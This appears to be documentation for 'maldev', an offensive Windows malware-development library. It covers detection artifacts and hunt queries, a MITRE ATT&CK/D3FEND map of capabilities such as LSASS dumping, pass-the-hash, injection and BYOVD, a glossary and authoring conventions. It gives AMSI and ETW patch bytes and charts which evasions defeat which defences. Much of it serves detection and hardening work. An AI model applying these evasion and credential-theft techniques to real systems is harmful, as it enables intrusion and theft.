MethodIndirectAsmSame end-effect as MethodIndirect but stub lives in implant .text (Go-asm, fixed RVA)No VirtualProtect heuristic. YARA on the asm stub bytes still possible — morph or strip. D3-PSM

[!NOTE] ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) emits EVENT_TI_NTPROTECT and EVENT_TI_NTALLOCATEVIRTUAL regardless of whether the call came from ntdll or a direct syscall instruction. Subscribing to TI events is the single best detection investment for this area.

AMSI / ETW patching — evasion/amsi, evasion/etw

ArtifactWhere
3-byte patch in amsi.dll!AmsiScanBuffer (31 C0 C3)Memory scan of amsi.dll RX section after process load
4-byte patch in ntdll.dll!EtwEventWrite{,Ex,Full,String,Transfer} (48 33 C0 C3)Memory scan of ntdll.dll RX
NtProtectVirtualMemory call switching RX → RWX → RX on amsi/ntdllETW TI / EDR call-stack inspection
Reduced AMSI scan rate from PowerShell hostPowerShell Microsoft.PowerShell.AMSI provider drops to zero

Hunt query (KQL pseudo-code):

DeviceImageLoadEvents
| where FileName == "amsi.dll"
| join DeviceProcessEvents on InitiatingProcessId
| project ProcessName, AmsiBytes = read 3 bytes at AmsiScanBuffer offset
| where AmsiBytes != original_bytes

D3FEND counters: D3-PSM (Process Spawn Monitoring), D3-PMC (Process Module Code Manipulation Detection). Hardening: **AMSI Provider DLL pinned

  • signed**.

ntdll unhooking — evasion/unhook

ArtifactWhere
NtCreateSection/NtMapViewOfSection call sequence opening a fresh ntdll.dll from diskProcess memory access pattern
Original syscall stubs 4C 8B D1 B8 … re-written over EDR-hooked onesRX-page scan; compares running ntdll bytes against on-disk

Hunt: memory-scan ntdll RX section for stubs that diverge from on-disk bytes after the EDR's hook installer ran.

Sleep masking — evasion/sleepmask

ArtifactWhere
Process thread stack XOR-encrypted during sleepKernel thread-stack walking detects high-entropy stack regions
ROP chain (StrategyEkko)EDR call-stack heuristics — return addresses on stack don't match valid call sites
Timer queue API spike (StrategyTimerQueue)RtlCreateTimer, WaitForSingleObject patterns

D3FEND: D3-PSEP (Process Self-Modification). Hardening: kernel thread-stack walking on a 5–30 second cadence.

Injection — inject

Per-method telemetry (excerpt; full table per technique page):

MethodETW TI eventsDetection difficulty
MethodCreateThreadEVENT_TI_NTCREATETHREADvery-noisy
MethodCreateRemoteThreadEVENT_TI_NTCREATETHREADEX cross-processvery-noisy
MethodEarlyBirdAPCEVENT_TI_NTQUEUEAPCTHREAD + suspended processnoisy
MethodSectionMapNtCreateSection + NtMapViewOfSection(EXECUTE)quiet
MethodPhantomDLLNtCreateSection(SEC_IMAGE) from a non-existent on-disk pathvery-quiet
MethodKernelCallbackTableKernelCallbackTable write to PEBvery-quiet (rare in legit)
MethodModuleStompRX-page write to a loaded modulequiet
MethodThreadHijackNtSuspendThread + NtSetContextThread cross-processnoisy

See docs/techniques/injection/ for the per-method artifact list.

Credential access — credentials/*

PackageTelemetry
credentials/lsassdumpOpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, …, lsass.exe PID) from non-system context
credentials/sekurlsaNone standalone — operates on a dump file
credentials/samdumpLive mode: reg.exe save HKLM\SAM …. Offline: file read of registry hive
credentials/goldenticketLsaCallAuthenticationPackage(KerbSubmitTicketMessage, …) — visible in TI provider

Hardening: Credential Guard (LSASS in VTL1) defeats lsassdump write/read; Protected Process Light (PPL) requires the BYOVD unprotect path which is itself detectable via signed-driver provenance events (Sysmon Event 6).

Persistence — persistence/*

MechanismEvent logSysmon equivalent
Registry Run/RunOncenone built-inEvent 12 / 13 (registry write)
Startup folder LNKnoneEvent 11 (file create)
Scheduled Task (COM)TaskScheduler-Operational 4698Event 4698
Windows Service installSystem log 7045Event 4697
Local account creationSecurity 4720

D3FEND: D3-RAPA (Resource Access Pattern Analysis), D3-PFV (Persistent File Volume Inspection).

Cleanup — cleanup/*

The most-overlooked area for blue. Cleanup deliberately removes artifacts the rest of the chain would have left.

TechniqueWhat it erasesWhat it leaves
cleanup/selfdeleteImplant binary on diskNTFS $Bitmap change, $LogFile entry, ADS rename log
cleanup/timestompFile timestamp recency$STANDARD_INFORMATION updated; $FILE_NAME MFT timestamps unchanged (forensic disparity)
cleanup/wipe (memory.WipeAndFree)Sensitive bytes in process memoryNtFreeVirtualMemory call
cleanup/adsStream existenceNTFS $Data:streamname MFT entry remains visible to MFT-aware tooling
cleanup/bsodAll in-memory stateCrash dump (if configured)

Forensic detection: MFT inconsistency between $STANDARD_INFORMATION and $FILE_NAME timestamps is the canonical timestomp tell.

Hardening recommendations

  1. Enable ETW Threat Intelligence provider and ship its events to your SIEM. Single highest-leverage signal for this entire library.
  2. Credential Guard + LSASS in PPL (kernel RunAsPPL=1).
  3. WDAC / AppLocker with publisher allow-list — defeats Donut-loaded PE shellcode if PE policy applies (depends on AMSI integration).
  4. Sysmon with SwiftOnSecurity baseline covers most artifact categories above.
  5. Driver block-list policy — Microsoft's vulnerable driver block list includes RTCore64; enable it.

Hunt repository (placeholder)

[!NOTE] A docs/hunts/ directory with Sigma rules and KQL queries per technique is on the Phase 5 roadmap. Until then, the per-technique "OPSEC & Detection" sections (mandatory by doc-conventions) carry the hunt-relevant artefacts.

Where to next

  • Researcher path — same techniques explained from the attacker design angle.
  • Operator path — see how the chain composes; useful for red-team / purple-team coordination.
  • MITRE map — full ATT&CK / D3FEND reconciliation.
  • docs/techniques/ — drill into any specific technique.

MITRE ATT&CK + D3FEND Coverage

← Back to README

ATT&CK Techniques

ATT&CK IDTechnique NamePackage(s)D3FEND Countermeasure
T1016System Network Configuration Discoveryrecon/network (interfaces, gateway, DNS, public IP), win/domain (paired use)D3-NTPM (Network Traffic Pattern Matching)
T1027Obfuscated Files or Informationevasion/sleepmask, pe/strip, crypto (TEA/XTEA/ArithShift/SBox/MatrixTransform), win/api (PEB-walk hash imports)D3-SMRA (System Memory Range Analysis)
T1027.002Software Packingpe/morph, pe/packer — three pipelines: (1) Pack/PackPipeline encrypt-and-embed blob; (2) PackBinary v0.61.0 UPX-style in-place .text encryption + polymorphic decoder stub (single-binary output, kernel does loading); (3) AddCoverPE/AddCoverELF + ApplyDefaultCover anti-static-unpacker junk-section overlay; plus pe/packer/runtime (Windows x64 reflective loader)D3-SEA (Static Executable Analysis)
T1027.007Dynamic API Resolutionwin/api (Hell's/Halo's/Tartarus/HashGate resolvers), win/syscall (SSN gating chain)D3-SCA (System Call Analysis)
T1027.013Encrypted/Encoded Filecrypto, encodeD3-FCA (File Content Analysis)
T1036Masqueradingevasion/stealthopen, evasion/callstack (call-stack spoof metadata)D3-FHA (File Hash Analysis)
T1036.005Masquerading: Match Legitimate Name or Locationprocess/tamper/fakecmd (self + remote via SpoofPID), pe/masqueradeD3-PLA (Process Listing Analysis)
T1047.001Boot or Logon Autostart Execution: Registry Run Keyspersistence/registryD3-SBV (Service Binary Verification)
T1003.001OS Credential Dumping: LSASS Memorycredentials/lsassdump (producer — dump + PPL unprotect), credentials/sekurlsa (consumer — pure-Go MSV1_0 + Wdigest + Kerberos + DPAPI + TSPkg + CloudAP + LiveSSP + CredMan parser; PTH write-back into live lsass)D3-PSA (Process Spawn Analysis), D3-SICA (System Image Change Analysis)
T1003.002OS Credential Dumping: Security Account Managercredentials/samdump (offline SAM/SYSTEM hive dump — pure-Go REGF parser + boot-key permutation + AES/RC4 hashed-bootkey derivation + per-RID DES de-permutation; live mode via reg save)D3-PSA (Process Spawn Analysis), D3-FCA (File Content Analysis on reg save artefacts)
T1550.002Use Alternate Authentication Material: Pass the Hashcredentials/sekurlsa (Pass / PassImpersonate — spawn under LOGON_NETCREDENTIALS_ONLY, NtWrite MSV + Kerberos hashes back into live lsass for the spawned LUID; SetThreadToken duplicate-token impersonation)D3-PSA, D3-SICA
T1550.003Use Alternate Authentication Material: Pass the Ticketcredentials/sekurlsa (KerberosTicket.ToKirbi / ToKirbiFile — emit mimikatz-format KRB-CRED with replayable session key); credentials/goldenticket (Submit — LsaCallAuthenticationPackage(KerbSubmitTicketMessage))D3-NTA (Network Traffic Analysis on Kerberos AP-REQ patterns)
T1558.001Steal or Forge Kerberos Tickets: Golden Ticketcredentials/goldenticket (Forge — pure-Go PAC marshaling + KRB5 ticket signing with operator-supplied krbtgt key)D3-NTA
T1053.005Scheduled Task/Job: Scheduled Taskpersistence/schedulerD3-SBV (Service Binary Verification)
T1055Process Injectioninject (15 methods), process/tamper/herpaderping (ModeHerpaderping + ModeGhosting; both work on Win10/Win11 ≤ 26100, blocked on Win11 26100+)D3-PSA (Process Spawn Analysis)
T1055.001DLL Injectionpe/srdi, inject/phantomdllD3-SICA (System Image Change Analysis)
T1055.003Thread Execution Hijackinginject (ThreadHijack)D3-PSA
T1055.004Asynchronous Procedure Callinject (QueueUserAPC, EarlyBirdAPC, NtQueueApcThreadEx)D3-PSA
T1055.012Process Hollowinginject (SpawnWithSpoofedArgs)D3-PSMD (Process Spawn Monitoring)
T1068Exploitation for Privilege Escalationprivesc/cve202430088 (kernel TOCTOU race), kernel/driver/rtcore64 (BYOVD IOCTL R/W)D3-EAL (Exploit Activity Logging), D3-DLIC (Driver Load Integrity Checking)
T1078Valid Accountswin/privilege (alt-creds spawn via Secondary Logon), win/impersonate (alt-creds → thread context swap)D3-UAP (User Account Profiling)
T1056.001Input Capture: Keyloggingcollection/keylogD3-KBIM (Keyboard Input Monitoring)
T1057Process Discoveryprocess/enumD3-PLA (Process Listing Analysis)
T1059Command and Scripting Interpreterc2/shell, c2/meterpreter, runtime/bof, runtime/pe (in-process EXE / DLL)D3-EFA (Executable File Analysis)
T1070Indicator Removal on Hostcleanup/memoryD3-SMRA
T1070.004File Deletioncleanup/selfdelete, cleanup/wipeD3-FRA (File Removal Analysis)
T1070.006Timestompcleanup/timestompD3-FHA (File Hash Analysis)
T1071.001Web Protocolsc2/transport/malleable, c2/transport/namedpipe, c2/transport/websocketD3-NTA (Network Traffic Analysis)
T1082System Information Discoverywin/domain, win/versionD3-SYSIP (System Information Profiling)
T1083File and Directory Discoveryrecon/folderD3-FDA (File Discovery Analysis)
T1090.001Proxy: Internal Proxyc2/pivot/socks5 (forward SOCKS5v5 + RFC 1929 auth + RuleSet scope enforcement)D3-NTA (Network Traffic Analysis), D3-PA (Process Analysis)
T1090.004Proxy: Domain Frontingc2/transport/websocket (WithUTLSConfig — JA3=Chrome on TLS while WS upgrade targets the fronted host)D3-NTA (Network Traffic Analysis)
T1106Native APIwin/api (PEB walk, API hashing), win/syscall, win/ntapi, pe/imports (import table enumeration)D3-SCA (System Call Analysis)
T1113Screen Capturecollection/screenshotD3-DA (Dynamic Analysis)
T1115Clipboard Datacollection/clipboardD3-DA (Dynamic Analysis)
T1120Peripheral Device Discoveryrecon/driveD3-PDD (Peripheral Device Discovery)
T1134Access Token Manipulationwin/token, win/privilegeD3-TAAN (Token Auth Normalization)
T1134.001Token Impersonation/Theftwin/impersonate, win/token, privesc/cve202430088 (_EPROCESS.Token swap)D3-TAAN
T1134.002Create Process with Tokenprocess/session, win/privilege (Secondary Logon path)D3-TAAN
T1134.004Parent PID Spoofingc2/shell (PPID spoofing chain), win/impersonate (RunAsTrustedInstaller lineage)D3-PSA (Process Spawn Analysis)
T1136.001Create Account: Local Accountpersistence/accountD3-UAP (User Account Profiling)
T1204.002User Execution: Malicious Filepersistence/lnkD3-EFA (Executable File Analysis)
T1497Virtualization/Sandbox Evasionrecon/sandboxD3-DA (Dynamic Analysis)
T1497.001System Checksrecon/antivm — registry/file/NIC/DMI/process probes (Detect/DetectAll) + CPUID hypervisor stack (Hypervisor, HypervisorPresent, HypervisorVendor, RDTSCDelta) + Red Pill descriptor-table primitives (SIDT, SGDT, SLDT, Probe)D3-DA
T1497.003Time Based Evasionrecon/timingD3-DA
T1529System Shutdown/Rebootcleanup/bsodD3-DA (Dynamic Analysis)
T1014Rootkitkernel/driver/rtcore64 (BYOVD — RTCore64 / CVE-2019-16098)D3-DLIC (Driver Load Integrity Checking)
T1543.003Create or Modify System Process: Windows Servicepersistence/service, cleanup/service, kernel/driver/rtcore64 (signed-driver service install)D3-SBV (Service Binary Verification)
T1547.009Shortcut Modificationpersistence/lnk, persistence/startupD3-FDA (File Discovery Analysis)
T1548.002Bypass UACprivesc/uac, recon/dllhijack (AutoElevate scanner)D3-UAP (User Account Profiling)
T1553.002Subvert Trust Controls: Code Signingpe/certD3-SEA (Static Executable Analysis)
T1562.001Disable or Modify Toolsevasion/amsi, evasion/etw, evasion/unhook, evasion/acg, evasion/blockdlls, evasion/kcallback (kernel callback enumeration)D3-AIPA (Application Integrity Analysis)
T1562.002Disable Windows Event Loggingprocess/tamper/phant0mD3-EAL (Execution Activity Logging)
T1574.001Hijack Execution Flow: DLL Search Order Hijackingrecon/dllhijack (discovery) · pe/dllproxy (payload generator)D3-PFV (Process File Verification)
T1574.002Hijack Execution Flow: DLL Side-Loadingpe/dllproxy (forwarder DLL emitter)D3-PFV (Process File Verification)
T1574.012Hijack Execution Flow: Inline Hookingevasion/hookD3-AIPA (Application Integrity Analysis)
T1564Hide Artifactscleanup/serviceD3-FRA
T1564.001Hide Artifacts: Hidden Processprocess/tamper/hideprocessD3-PLA (Process Listing Analysis)
T1564.004Hide Artifacts: NTFS File Attributescleanup/adsD3-FRA (File Removal Analysis)
T1620Reflective Code Loadingruntime/clr, runtime/pe (No-Consolation BOF wrapper), pe/packer/runtime (Windows x64 PE reflective loader)D3-AIPA (Application Integrity Analysis)
T1571Non-Standard Portc2/multicat (operator-side multi-session listener)D3-NTA (Network Traffic Analysis)
T1573.002Asymmetric Cryptographyc2/transport (TLS, uTLS)D3-DNSTA (DNS Traffic Analysis)
T1622Debugger Evasionrecon/antidebug, recon/hwbpD3-DICA (Debug Instruction Analysis)

Defensive Primitives (N/A — no ATT&CK technique)

ATT&CK IDRolePackage(s)Notes
N/ADefensive framinglicense/Ed25519-signed authorisation gate — restricts which binaries run, by whom, on which machines. No attack technique exercised; no on-host artefacts emitted.

D3FEND Defensive Techniques

The D3FEND column above indicates which defensive technique a blue team would use to detect each maldev capability. This helps red teamers understand what they're evading and blue teamers understand what to implement.

graph TD
    subgraph "Attack Techniques (Red)"
        I[Injection T1055]
        E[Evasion T1562]
        S[Syscall Bypass T1106]
        C[C2 T1071/T1573]
    end

    subgraph "D3FEND Countermeasures (Blue)"
        D1[D3-PSA<br>Process Spawn Analysis]
        D2[D3-AIPA<br>App Integrity Analysis]
        D3[D3-SCA<br>System Call Analysis]
        D4[D3-NTA<br>Network Traffic Analysis]
        D5[D3-SMRA<br>Memory Range Analysis]
    end

    I --> D1
    I --> D5
    E --> D2
    S --> D3
    C --> D4

    subgraph "maldev OPSEC Counters"
        O1[Indirect syscalls<br>defeat D3-SCA]
        O2[Sleep mask<br>defeats D3-SMRA]
        O3[uTLS JA3 spoofing<br>defeats D3-NTA]
        O4[Unhooking<br>defeats D3-AIPA hooks]
    end

    D3 -.->|bypassed by| O1
    D5 -.->|bypassed by| O2
    D4 -.->|bypassed by| O3
    D2 -.->|bypassed by| O4

Glossary

Terms maldev uses without redefinition. If a page references jargon and you're not sure, the term should be here. Open an issue if a term is missing.

Entries are alphabetical. Each entry is one sentence (definition) plus one optional sentence (where it shows up in maldev).

A

ADR (Architecture Decision Record). A short record of why a non-trivial decision was made. See Concepts ▸ Decisions.

AMSI (Antimalware Scan Interface). Windows mechanism that ships script bodies (PowerShell, .NET, …) to a registered antimalware provider for inspection. Bypass via evasion/amsi.

ACG (Arbitrary Code Guard). Windows mitigation that blocks a process from allocating dynamic executable memory. Activated via SetProcessMitigationPolicy; relevant in preset.Aggressive.

ApiSet. Indirection layer (api-ms-win-*.dll) that resolves to real DLLs at load time. Important when walking exports; ApiSet contracts get filtered in DLL-hijack discovery.

B

BOF (Beacon Object File). Cobalt-Strike-style relocatable COFF object loaded in-process. Run via cmd/bof-runner or runtime/bof-loader.

BYOVD (Bring Your Own Vulnerable Driver). Use a legitimately- signed but exploitable driver to gain kernel R/W. See kernel/byovd.

BlockDLLs (Mitigation::BinarySignaturePolicy::MicrosoftSignedOnly). Process mitigation that allows only Microsoft-signed DLLs to load. Part of preset.Aggressive.

C

Caller (*wsyscall.Caller). The runtime knob that selects how every NT* call is issued (WinAPI / Native / Direct / Indirect). See ADR-0001.

CET (Control-flow Enforcement Technology). Hardware-assisted mitigation (shadow stack + indirect-branch tracking). maldev's evasion/cet covers opt-out at the implant-process level.

CFG (Control Flow Guard). Software mitigation that validates indirect-call targets against a bitmap. AMSI bypass works around it because prologue patching doesn't trigger CFG checks.

COFF (Common Object File Format). Object-file format used by BOFs. Different from PE; PE wraps COFF + extras.

D

D3FEND. MITRE's defender taxonomy (counter-techniques to ATT&CK). Tagged on every technique page as D3-XXX.

Diátaxis. Doc-IA framework with 4 quadrants (Tutorial / How-to / Reference / Explanation). maldev's nav is Diátaxis- inspired (see ADR-0004).

DLL hijack. Plant a DLL on the search path of a privileged process. Discovery via recon/dllhijack; full chain in examples/privesc-dll-hijack.

Donor cert. A WIN_CERTIFICATE blob harvested from a legitimately-signed binary, stamped into a packed payload to mimic provenance.

E

EDR (Endpoint Detection and Response). Defender + product (CrowdStrike, SentinelOne, Defender for Endpoint, …). Hooks ntdll, watches ETW, inspects memory.

EAT (Export Address Table). The table in a PE's IMAGE_DIRECTORY_ENTRY_EXPORT listing exported functions. Walked by hash-resolution shellcode.

ETW (Event Tracing for Windows). Kernel + user telemetry backbone. AMSI counterpart for behavioural data. Patched via evasion/etw.

ETW-TI (Threat Intelligence). Privileged ETW provider that exposes the loudest signals (RWX allocations, suspicious loaders).

F

FILE_SHARE_READ. CreateFile share flag. Allows the file to be opened for read by others; relevant for marker-file flushing races (see Runbook: DLL hijack silent).

G

garble. Go toolchain wrapper that obfuscates names + literals

godoc / pkg.go.dev. The authoritative API reference for any Go package. maldev's policy: every technique page links here, never duplicates content. See ADR-0002.

H

Hook. Code overlay on a Windows API entry (typically by an EDR) that intercepts calls. Unhooking removes the overlay; see evasion/unhook.

HALO's gate / Tartarus' gate / Hell's gate. Three flavours of direct-syscall SSN resolution. maldev's wsyscall.MethodDirect implements the modern variant.

I

IAT (Import Address Table). Where the loader writes the absolute VAs of imported functions. Hooked by some EDRs as a cheap interception point.

IL (Integrity Level). Windows process integrity (Low / Medium / High / SYSTEM). UAC bypass moves from Medium to High.

IOC (Indicator of Compromise). Anything (hash, IP, file path, registry key) that telegraphs your presence.

L

LSASS. lsass.exe, the Windows process that holds authentication material in memory. Target of credential dumping via credentials/lsassdump.

M

MITRE ATT&CK. Adversary technique taxonomy (https://attack.mitre.org). Every maldev technique declares its T-IDs in frontmatter.

MDX. Markdown + JSX. Docusaurus syntax; mdBook doesn't support it. Relevant only if we ever migrate (ADR-0003).

N

NT API.* Native Windows API in ntdll.dll (NtAllocateVirtualMemory, NtProtectVirtualMemory, …). Lower- level than Win32 kernel32.dll; the hook layer EDRs care most about.

ntdll. ntdll.dll, the lowest-level user-mode DLL. Every Win32 API ends up here. EDR hooks usually live in its .text section.

O

OEP (Original Entry Point). Where a binary's first instruction was before it got packed. The packer's stub jumps to OEP after decryption.

OPSEC. Operational Security — minimising your attack surface. Covers tooling artefacts, network behaviour, build metadata.

P

PEB (Process Environment Block). Per-process structure at a fixed offset from the GS segment. Holds ProcessParameters.CommandLine, loaded modules, image base. maldev's PEB-CommandLine patch (RunWithArgs export) lives in the packer stub.

Plan 9 asm. Go's internal assembler syntax. maldev's pe/packer/stubgen/amd64 emits raw bytes via Plan9 helpers.

Plt / IAT thunk. Per-import indirection slot in the IAT.

R

RVA (Relative Virtual Address). Offset from a PE's image base (after loading). The linker bakes RVAs; the loader doesn't rewrite them unless the image is rebased.

rpc. Microsoft RPC (rpcrt4.dll). Several persistence and LSASS-dump primitives ride on RPC interfaces.

Reverse-engineering of .text. Static analysis that reads the unpacked code section. Defeated by the packer's per-pack SGN encoding + section-name randomisation (ADR randomisation default-on — see v0.135.0 changelog).

S

SGN (Shellcode Generation). Polymorphic encoder format (SUB-NEG-NEGATE shape) used by maldev's packer for byte-level diversity per pack.

SSN (System Service Number). Per-Windows-version index used by the kernel syscall stub. Direct syscalls require resolving SSN at runtime (wsyscall does this).

Stub. The decoder bytes injected at the new PE entry by the packer. Stage1 = current implementation; emitted by pe/packer/stubgen/stage1.

SYSTEM. NT AUTHORITY\SYSTEM, the highest non-kernel account. End goal of most privesc chains.

T

TEB (Thread Environment Block). Per-thread structure analogous to PEB. Holds TLS slots; relevant for Go runtime init in injected threads.

U

UAC (User Account Control). Windows prompt that gates elevation from Medium to High IL. Bypass primitives in privesc/uac.

W

WIN_CERTIFICATE. Authenticode signature blob layout (PE's DataDirectory[SECURITY]). Harvested by cmd/cert-snapshot, pasted onto packed binaries for masquerade.

wsyscall. The maldev-internal package providing the Caller abstraction over WinAPI / Native / Direct / Indirect syscall methods. See ADR-0001.

X

x64dbg. Open-source ring-3 debugger. Used to develop the memscan stack (see research helpers for the current pure-Go incarnation that replaced the legacy x64dbg-MCP plumbing).

Documentation Conventions Skill

Apply this skill to all documentation work in this project. The methodology was decided 2026-04-27 and is the canonical source — older .md files that diverge are legacy and must be migrated, not perpetuated.

Surface (where docs live)

Hybrid model. /docs/**.md and */doc.go files are the canonical source of truth, browseable directly on GitHub. A CI job additionally generates a richer site on gh-pages (mdBook or Docusaurus) with full-text search, dark mode, and versioned snapshots.

  • Anything that ships on pkg.go.dev (godoc) is godoc-rendered. Don't put GitHub-specific markdown in doc.go — write plain godoc that survives both surfaces.
  • Anything in /docs/**.md may use full GFM + GitHub advanced formatting (Mermaid, alerts, math, collapsibles, tables, footnotes, task lists).
  • The gh-pages site builds from /docs/**.md — never write content that only exists on the site. Source is markdown.

Audience paths (3 explicit roles)

The README and docs/index.md route readers via three role pages:

  • docs/by-role/operator.md — red team / ops focus: chains, OPSEC, payload-ready snippets, deployment patterns.
  • docs/by-role/researcher.md — security R&D focus: how it works at the kernel/runtime layer, paper references, MITRE/D3FEND mapping.
  • docs/by-role/detection-eng.md — blue team focus: artifacts left, detection telemetry, EDR signatures, hardening recommendations.

Every technique page links back to one or more role pages via "See also". Every role page links forward to relevant technique pages. The tree is acyclic and traversable both ways.

Per-package docs (doc.go)

Required structure. Every public package MUST have a doc.go that matches this template (literal section headers, in this order):

// Package <name> <one-sentence purpose, ending with a period>.
//
// <intro paragraph: what problem it solves, who calls it, when to use it.
// 80–200 words, plain prose, no headers.>
//
// # MITRE ATT&CK
//
//   - T<id> (<full sub-technique name>)
//   - [more if applicable]
//
// # Detection level
//
// <one of: very-quiet | quiet | moderate | noisy | very-noisy>
//
// <one or two sentences on the artifacts left behind. Be concrete:
// syscalls invoked, registry keys touched, ETW providers triggered, etc.>
//
// # Example
//
// See [Example<First>] in <name>_example_test.go.
//
// # See also
//
//   - docs/techniques/<area>/<file>.md
package <name>

Detection level scale — pick exactly one bucket per package:

BucketMeaning
very-quietZero artifacts above noise. In-process only. Common syscalls only.
quietMinimal trace. No event log. May leave one transient registry/file artifact.
moderateDistinguishable syscall pattern but commonly used by legitimate software.
noisyTriggers ETW providers, event log entries, or cross-process activity that's monitorable.
very-noisyHigh-confidence detection by signature: known sigs in Defender, hooked APIs that EDR specifically watches.

MITRE format — always T<id>(.<sub>)? (<full name>). Never bundle without the () form. Examples:

  • T1003.001 (OS Credential Dumping: LSASS Memory)
  • T1003.001 — OS Credential Dumping: LSASS Memory ❌ (em-dash)
  • T1071, T1573 ❌ (bundled, missing names)

Per-technique pages (docs/techniques/<area>/<file>.md)

The canonical skeleton lives in docs/templates/technique-page.md and is enforced by internal/tools/docgen --check-template in CI.

Section order (fixed) — omit a section if empty, never reorder:

  1. # <Title> (H1, accessible vocabulary).
  2. Front-matterpackage: (import path), mitre: (T-IDs). No last_reviewed / reflects_commit (these rot silently and were removed in G.6 — git log is authoritative).
  3. ## TL;DR — one sentence, concrete.
  4. ## What it does — vulgarised primer, 2-4 paragraphs.
  5. ## How it works — mechanism. Mermaid only if it shows real ordering / decision / sequence; max 1 per page.
  6. ## Usage — minimal Go snippet with imports. Max 3 variants.
  7. ## Non-obvious behaviour — bullet list of pitfalls + side effects + dependencies godoc doesn't surface clearly.
  8. ## OPSEC & detection — artefacts ↔ defender vantage points, D3FEND counter-techniques.
  9. ## MITRE ATT&CK — small table (T-ID, name, sub-coverage).
  10. ## Limitations — known broken / not-yet-supported axes.
  11. ## API → godoc — single pointer to pkg.go.dev/.... NO handwritten signature tables — pkg.go.dev is the authoritative reference. (This was the dominant drift surface before G.5/G.6.)
  12. ## See also — sibling pages + cookbook entries + external refs.

Banned patterns (the checker blocks PRs that introduce them):

  • ## API Reference section with handwritten ### \Func(args)`` entries — recopies godoc, drifts on rename.
  • last_reviewed: / reflects_commit: frontmatter — rotted on 100+ pages across 6 months before being removed.

Banned content: "Compared to Other Implementations" sections. We don't benchmark against tooling we don't ship.

Examples (example_test.go)

Mandatory — every public package. Tier names and what each demonstrates:

  • Example<Func> (Simple) — bare API, ≤10 LOC. // Output: line where deterministic.
  • Example<Pkg>_with<OtherPkg> (Composed) — 2-3 packages chained.
  • Example<Pkg>_chain (Advanced) — ≥4 packages, end-to-end.
  • Complex scenarios live in docs/examples/*.md as runnable narrative.

godoc renders example bodies regardless of //go:build gates. Tests gated by MALDEV_INTRUSIVE etc. still surface as examples on pkg.go.dev.

Mermaid usage

Use Mermaid for:

  • Flowcharts — architecture, dependency layers, decision trees.
  • Sequence diagrams — technique execution sequences (e.g., AMSI patch resolution, sleepmask state transitions).
  • State diagrams — multi-phase techniques (sleepmask Idle/Encrypted/ Sleeping/Decrypted/Active, herpaderping write/replace/run/restore).
  • Class diagrams — type/interface relationships (e.g., Caller interface implementations).
  • Mind maps — MITRE T-ID hierarchy in docs/mitre.md.

Default to Mermaid over ASCII art when both work. Keep diagrams under 25 nodes; split into linked sub-diagrams beyond that.

Example syntax for sequence:

sequenceDiagram
    Implant->>amsi: PatchScanBuffer(nil)
    amsi->>ntdll: NtProtectVirtualMemory(RWX)
    amsi->>amsi.dll: write 31 C0 C3
    amsi->>ntdll: NtProtectVirtualMemory(RX)
    amsi-->>Implant: original 3 bytes

Mermaid 11.2.0 strict-mode rules

mdbook-mermaid pins Mermaid 11.2.0 (see book.toml). Its parser is stricter than older versions; the following patterns break the gh-pages build silently (diagram renders as raw code):

  • Quote multi-word participant/actor aliases. Bare participant X as STA COM apartment parses the alias as STA only and errors on the rest. Use participant X as "STA COM apartment". Same rule for subgraph titles in flow diagrams.
  • Use %% for diagram comments, not # or //.
  • Avoid the Unicode em-dash inside message text. ASCII -- or - works across themes. Same for "smart quotes": use ASCII " and '.
  • Self-loops (Actor->>Actor: msg) are fine; nested loop / alt / opt blocks must close with end.
  • note over X,Y: text requires a comma between actors with no leading space.

When in doubt, quote — it's never wrong to quote.

GFM features to use

Reference: GitHub advanced formatting, GFM spec.

Always use

FeatureSyntaxWhen
Alerts> [!NOTE|TIP|IMPORTANT|WARNING|CAUTION]OPSEC warnings, version gates, prerequisites. Replaces all **Warning:** bold prose.
Collapsibles<details><summary>…</summary>…</details>Long stack traces, build outputs, verbose code. Default-collapsed for material > 20 lines.
Footnotes[^id] + [^id]: …Citing CVEs, papers, original blog posts.
Task lists- [x] done / - [ ] todoSetup checklists, coverage matrices, step trackers.
Diff blocks```diffShowing a patch (e.g., AMSI bytes before/after).
Permalink to code lineshttps://github.com/.../blob/<sha>/file#L42-L60Cross-references from godoc → exact source range. Use SHA, never branch.
Math (LaTeX)$…$ inline, $$…$$ blockCrypto algorithms, RC4 init, TEA round equations, hash math.
Tables w/ alignment:---|:---:|---:Comparison matrices, MITRE tables, capability matrices.
Mermaid```mermaidAll sequence/flow/state/class/mindmap diagrams.
Auto-linked refs#1234, @user, full SHAsLinking back to issues, mentions, commits.
Headings 1–6#######H1 once per page; H2 for sections; H3 for sub-sections. Don't skip levels.

Conditional / niche

FeatureSyntaxWhen
Subscript / Superscript<sub>2</sub>, <sup>2</sup>Math indices, version annotations (Win11<sub>24H2</sub>).
Underline<ins>text</ins>Rare. Prefer bold for emphasis.
Color swatches`#RRGGBB`, `rgb(r,g,b)`Inline colour visualisation. Could illustrate byte-pattern signatures.
Picture element (theme-aware)<picture><source media="(prefers-color-scheme: dark)" …>Diagrams with light + dark variants.
Strikethrough~~deprecated~~Marking removed APIs in CHANGELOG.
Emoji shortcodes:rocket:Sparingly; never in API references.
HTML comments<!-- … -->TOC markers, <!-- BEGIN AUTOGEN --> / <!-- END AUTOGEN --> boundaries.
Line break inside paragraphtrailing (2 spaces), \, or <br>Sparingly; usually a paragraph break is correct.
File attachments (drag-drop)(UI)Issue/PR comments only — uploads to user-attachments CDN. Not for repo docs (use assets/ directory).

GitHub-platform features (commit messages & PRs only)

These are not for docs in /docs, but they're part of the project's authoring conventions and listed here so contributors know to use them.

FeatureSyntaxWhen
Closing keywordsCloses #123, Fixes #456, Resolves #789 (also close, fix, resolve, closed, fixed, resolved) in commit/PR bodyAuto-closes the linked issue when the PR merges to default branch. Always use lowercase form for consistency.
Cross-repo refsorg/repo#123Linking issues/PRs across repositories.
Commit-SHA refsfull or 7-char SHA in commit/PR bodyAuto-links to the commit. Always paste full SHA in committed prose; GitHub auto-shortens display.
Mention shortcuts@user and @org/teamNotify a person or team in a PR/issue/discussion.
Suggestion blocks```suggestionIn PR review comments only. Reviewer proposes a fix; author can apply with one click.
Reactions(UI shortcut)Emoji-react instead of "+1" comments.

Not used in this project

FeatureReason
GeoJSON / TopoJSON mapsNo geographic data.
STL 3D modelsNot relevant.
Raw HTML beyond <sub>/<sup>/<ins>/<details>/<summary>/<picture>/<br>/<!-- -->Sanitisation strips most other tags; keeps surfaces consistent.

